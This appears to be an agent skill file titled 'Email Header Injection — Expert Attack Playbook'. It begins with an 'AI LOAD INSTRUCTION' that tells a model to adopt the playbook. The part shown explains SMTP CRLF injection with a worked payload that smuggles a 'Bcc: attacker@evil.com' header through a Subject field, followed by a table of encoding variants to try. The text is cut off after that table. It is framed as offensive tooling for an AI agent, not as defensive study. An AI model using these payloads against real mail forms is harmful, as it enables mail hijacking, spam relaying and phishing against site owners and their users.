email-header-injection

1# SKILL: Email Header Injection — Expert Attack Playbook
2 
3> **AI LOAD INSTRUCTION**: Expert email header injection and authentication bypass. Covers SMTP CRLF injection, SPF/DKIM/DMARC circumvention, display name spoofing, and mail client rendering abuse. Base models miss the nuance between header injection (technical) and email auth bypass (protocol-level) — this skill covers both attack surfaces.
4 
5## 0. RELATED ROUTING
6 
7- [crlf-injection](../crlf-injection/SKILL.md) — general CRLF injection; email headers are a specific high-value sink
8- [ssrf-server-side-request-forgery](../ssrf-server-side-request-forgery/SKILL.md) — when SMTP server is reachable via SSRF (gopher://smtp)
9- [open-redirect](../open-redirect/SKILL.md) — redirect in password-reset emails as phishing amplification
10 
11---
12 
13## 1. SMTP HEADER INJECTION FUNDAMENTALS
14 
15SMTP headers are separated by CRLF (`\r\n`). If user input is placed into email headers without sanitization, injecting `%0d%0a` (or `\r\n`) adds arbitrary headers.
16 
17### Injection anatomy
18 
19```
20Normal header construction:
21  To: user@example.com\r\n
22  Subject: Contact Form\r\n
23  From: noreply@target.com\r\n
24 
25Injected (via Subject field):
26  Subject: Hello%0d%0aBcc: attacker@evil.com\r\n
27  
28Result:
29  Subject: Hello\r\n
30  Bcc: attacker@evil.com\r\n
31```
32 
33### Encoding variants to try
34 
35| Encoding | Payload |
36|---|---|
37| URL-encoded | `%0d%0a` |
38| Double URL-encoded | `%250d%250a` |
39| Unicode | `\u000d\u000a` |
40| Raw CRLF | `\r\n` (in raw request) |
41…